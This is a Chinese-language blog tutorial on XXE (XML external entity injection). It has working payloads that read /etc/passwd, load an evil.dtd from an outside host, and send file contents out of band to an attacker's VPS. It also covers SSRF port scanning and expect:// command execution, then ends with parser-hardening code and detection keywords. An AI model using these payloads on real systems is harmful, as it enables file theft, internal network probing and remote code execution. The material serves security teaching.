目录
XXE
XXE漏洞演示利用(任意文件读取)
Blind OOB XXE
目录浏览和任意文件读取
端口扫描
远程代码执行
XXE漏洞的挖掘
XXE的防御
在学习XXE漏洞之前,我们先了解下XML。传送门——> XML和JSON数据格式
XXE(XML External Entity Injection)也就是XML外部实体注入,XXE漏洞发生在应用程序解析XML输入时,XML文件的解析依赖libxml 库,而 libxml2.9 以前的版本默认支持并开启了对外部实体的引用,服务端解析用户提交的XML文件时,未对XML文件引用的外部实体(含外部一般实体和外部参数实体)做合适的处理,并且实体的URL支持 file:// 和 ftp:// 等协议,导致可加载恶意外部文件 和 代码,造成任意文件读取、命令执行、内网端口扫描、攻击内网网站、发起Dos攻击等危害。
XXE漏洞触发的点往往是可以上传xml文件的位置,没有对上传的xml文件进行过滤,导致可上传恶意xml文件
<?xml version="1.0"?>
<!DOCTYPE a[
<!ENTITY b SYSTEM "file:///etc/passwd">
]>
<a>&b;</a>
方式二:(一般实体)通过DTD外部实体声明引入外部DTD文档,再引入外部实体声明
<?xml version="1.0"?><!DOCTYPE a [ <!ENTITY b SYSTEM "http://mark4z5.com/evil.dtd">]> <a>&b;</a> #而http://mark4z5.com/evil.dtd内容为<!ENTITY b SYSTEM "file:///etc/passwd">
方式三:(参数实体)通过DTD外部实体声明引入外部DTD文档,再引入外部实体声明
<?xml version="1.0"?><!DOCTYPE a [ <!ENTITY %b SYSTEM "http://mark4z5.com/evil.dtd">]><a>%b;</a> #http://mark4z5.com/evil.dtd文件内容<!ENTITY b SYSTEM "file:///etc/passwd">
XXE是XML外部实体注入攻击,XML中可以通过调用实体来请求本地或者远程内容,和远程文件保护类似,会引发相关安全问题,例如敏感文件读取。
其中php支持的协议会更多一些,但需要一定的扩展支持
以下是一个简单的XML代码POST请求示例,上述代码将交由服务器的XML处理器解析。代码被解释并有回显数据。
这里我们引用外部DTD实体,并且将 email 的值修改为引用外部实体的值 &file; 因为,返回包会返回email的值,所以返回包会读取我们引用的 /etc/passwd 的值返回给我们,造成了任意文件读取。
如上例所示,服务器将 /etc/passwd 文件的内容作为响应返回给我们的XXE。但是在大多数情况下,即使服务器可能存在XXE漏洞,服务器也不会向攻击者的浏览器返回任何响应。遇到这种情况,可以实现OOB(out-of-band)信息传递和通过构造dtd从错误信息获取数据。无论是OOB、还是基于错误的方式,都需要引入外部DTD文件。
-
OOB(Out-Of-Band):我们可以使用 Blind XXE 漏洞来构建一条外带数据OOB(Out-Of-Band)通道来读取数据。
-
注:Linux机器可以目录浏览和任意文件读取,Windows机器只能任意文件读取
Blind XXE是由于虽然目标服务器加载了XML数据,但是不回显读取的数据。那么,我们是否可以想其他的办法,将服务器读取的数据传送给我们的VPS呢?
首先,在我们的VPS上搭建一个Http服务,然后创建一个xml.dtd文件,内容如下
<!ENTITY % all "<!ENTITY % send SYSTEM 'http://VPS的地址:2121/%file;'>">
%all;
然后在VPS上用python在2121端口起另一个http服务
<?xml version="1.0"?>
<!DOCTYPE message [
<!ENTITY % remote SYSTEM "http://VPS的http服务/xml.dtd">
<!ENTITY % file SYSTEM "file:///C:/Users/mi/Desktop/1.txt">
%remote;
%send;
]>
但是如果读取的文件数据有空格的话,这样的读不出来的,所以我们可以用base64编码
<?xml version="1.0"?>
<!DOCTYPE message [
<!ENTITY % remote SYSTEM "http://VPS的http服务/xml.dtd">
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///C:/Users/mi/Desktop/1.txt">
%remote;
%send;
]>
相关文章:利用Blind XXE Getshell
在第一个示例中,我们通过URI将请求指向了/etc/passwd文件,并最终成功的为我们返回了文件中的内容。除此之外,我们也可以使用 http URI 并强制服务器向我们指定的端点和端口发送GET请求,将 XXE 转换为SSRF(服务器端请求伪造)。
以下代码将尝试与端口通信,根据响应时间/长度,攻击者将可以判断该端口是否已被开启。
<?xml version="1.0"?>
<!DOCTYPE GVI [
<!ENTITY xxe SYSTEM "http://127.0.0.1:80" >
]>
如下,探测本地81端口是否开放,如果不开放,则响应时间比较久
这种情况很少发生,但有些情况下攻击者能够通过XXE执行代码,这主要是由于配置不当/开发内部应用导致的。如果我们足够幸运,并且PHP expect模块被加载到了易受攻击的系统或处理XML的内部应用程序上,那么我们就可以执行如下的命令:
<?xml version="1.0"?>
<!DOCTYPE GVI [ <!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "expect://id" >]>
<catalog>
<core id="test101">
<author>John, Doe</author>
<title>I love XML</title>
<category>Computers</category>
<price>9.99</price>
<date>2018-10-01</date>
<description>&xxe;</description>
</core>
</catalog>
{"error": "no results for description uid=0(root) gid=0(root) groups=0(root)...
通过手工篡改网站中xml实体中的头部,加入相关的读取文件或者是链接,或者是命令执行等,如file:///$path/file.txt;http://url/file.txt;看看能否显示出来
PHP:
libxml_disable_entity_loader(true);
JAVA:
DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);
Python:
from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
关键词:<!DOCTYPE 和 <!ENTITY 或者 SYSTEM和PUBLIC。
参考文章:XXE漏洞利用技巧:从XML到远程代码执行
Blind XXE详解与Google CTF一道题分析
从Blind XXE漏洞到读取Root文件的系统提权
来源:谢公子的博客
责编:Zuo
如果文中有错误的地方,欢迎指出。有想转载的,可以留言我加白名单。
最后,欢迎加入谢公子的小黑屋(安全交流群)(QQ群:783820465)
本文始发于微信公众号(谢公子学安全):Web漏洞|XXE漏洞详解(XML外部实体注入)
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
点赞
https://cn-sec.com/archives/483939.html
复制链接
复制链接
-
左青龙
- 微信扫一扫
-
-
右白虎
- 微信扫一扫
-
评论